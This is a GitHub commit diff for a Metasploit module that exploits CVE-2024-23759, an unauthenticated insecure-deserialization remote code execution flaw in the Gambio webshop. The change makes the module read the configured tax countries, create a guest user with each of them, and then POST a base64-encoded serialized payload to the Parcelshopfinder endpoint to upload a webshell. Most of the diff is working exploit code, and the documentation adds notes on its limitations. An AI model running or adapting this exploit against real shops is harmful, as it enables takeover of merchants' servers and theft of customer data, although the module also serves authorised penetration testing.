Skip to content

Commit 331c961

Browse files
committed
update module and documentation with tax country logic
1 parent 9f50f12 commit 331c961

File tree

2 files changed

+59
-41
lines changed

2 files changed

+59
-41
lines changed

documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
## Vulnerable Application
22

33
A Remote Code Execution vulnerability in Gambio online webshop version `4.9.2.0` and lower allows remote attackers
4-
to run arbitrary commands via unauthenticated HTTP POST request. Gambio version 3 is not vulnerable.
4+
to run arbitrary commands via unauthenticated HTTP POST requests. Gambio version 3 is not vulnerable.
55
The identified vulnerability within Gambio pertains to an insecure deserialization flaw,
66
which ultimately allows an attacker to execute remote code on affected systems.
77

@@ -227,3 +227,5 @@ meterpreter > exit
227227
## Limitations
228228
Gambio is also supported on Windows systems, however the admin access seems to be broken on the vulnerable versions.
229229
This causes the exploit not to run successfully.
230+
Another dependency is that one or more tax countries should be defined in the configuration of the application, otherwise
231+
guest users can not be created causing the exploit to fail. The default setup of the application has at least one tax country defined.

modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb

Lines changed: 56 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -153,47 +153,63 @@ def upload_webshell
153153
final_payload_b64 = Base64.strict_encode64(final_payload)
154154

155155
# create guest user to get a valid session cookie
156-
res = send_request_cgi({
157-
'method' => 'POST',
158-
'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'),
159-
'keep_cookies' => true,
160-
'vars_post' => {
161-
'firstname' => firstname,
162-
'lastname' => lastname,
163-
'email_address' => email,
164-
'email_address_confirm' => email,
165-
'b2b_status' => 0,
166-
'company' => nil,
167-
'vat' => nil,
168-
'street_address' => Rex::Text.rand_text_alpha_lower(8..12),
169-
'postcode' => Rex::Text.rand_text_numeric(5),
170-
'city' => Rex::Text.rand_text_alpha_lower(4..12),
171-
'country' => 8,
172-
'telephone' => Rex::Text.rand_text_numeric(10),
173-
'fax' => nil,
174-
'action' => 'process'
175-
}
156+
# country variable should match with a configured tax country in the gambio admin panel
157+
# grab the available tax country code settings from the CreateGuest form page
158+
res = send_request_cgi!({
159+
'method' => 'GET',
160+
'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest')
176161
})
177-
if res && res.code == 302
178-
res = send_request_cgi({
179-
'method' => 'POST',
180-
'uri' => normalize_uri(target_uri.path, 'shop.php?do=Parcelshopfinder/AddAddressBookEntry'),
181-
'keep_cookies' => true,
182-
'vars_post' => {
183-
'checkout_started' => 0,
184-
'search' => final_payload_b64,
185-
'street_address' => Rex::Text.rand_text_alpha_lower(4..12),
186-
'house_number' => Rex::Text.rand_text_numeric(1..2),
187-
'additional_info' => nil,
188-
'postcode' => Rex::Text.rand_text_numeric(5),
189-
'city' => Rex::Text.rand_text_alpha_lower(8..12),
190-
'country' => 'DE',
191-
'firstname' => firstname,
192-
'lastname' => lastname,
193-
'postnumber' => Rex::Text.rand_text_numeric(6),
194-
'psf_name' => Rex::Text.rand_text_alpha_lower(1..3)
195-
}
196-
})
162+
if res && res.code == 200
163+
html = res.get_html_document
164+
unless html.blank?
165+
country_tax_options = html.css('select[@id="country"]')
166+
country_tax_options.css('option').each do |country|
167+
print_status("code: #{country['value']}")
168+
res = send_request_cgi({
169+
'method' => 'POST',
170+
'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'),
171+
'keep_cookies' => true,
172+
'vars_post' => {
173+
'firstname' => firstname,
174+
'lastname' => lastname,
175+
'email_address' => email,
176+
'email_address_confirm' => email,
177+
'b2b_status' => 0,
178+
'company' => nil,
179+
'vat' => nil,
180+
'street_address' => Rex::Text.rand_text_alpha_lower(8..12),
181+
'postcode' => Rex::Text.rand_text_numeric(5),
182+
'city' => Rex::Text.rand_text_alpha_lower(4..12),
183+
'country' => country['value'],
184+
'telephone' => Rex::Text.rand_text_numeric(10),
185+
'fax' => nil,
186+
'action' => 'process'
187+
}
188+
})
189+
next unless res && res.code == 302
190+
191+
res = send_request_cgi({
192+
'method' => 'POST',
193+
'uri' => normalize_uri(target_uri.path, 'shop.php?do=Parcelshopfinder/AddAddressBookEntry'),
194+
'keep_cookies' => true,
195+
'vars_post' => {
196+
'checkout_started' => 0,
197+
'search' => final_payload_b64,
198+
'street_address' => Rex::Text.rand_text_alpha_lower(4..12),
199+
'house_number' => Rex::Text.rand_text_numeric(1..2),
200+
'additional_info' => nil,
201+
'postcode' => Rex::Text.rand_text_numeric(5),
202+
'city' => Rex::Text.rand_text_alpha_lower(8..12),
203+
'country' => 'DE',
204+
'firstname' => firstname,
205+
'lastname' => lastname,
206+
'postnumber' => Rex::Text.rand_text_numeric(6),
207+
'psf_name' => Rex::Text.rand_text_alpha_lower(1..3)
208+
}
209+
})
210+
break
211+
end
212+
end
197213
end
198214
res
199215
end

0 commit comments

Comments
 (0)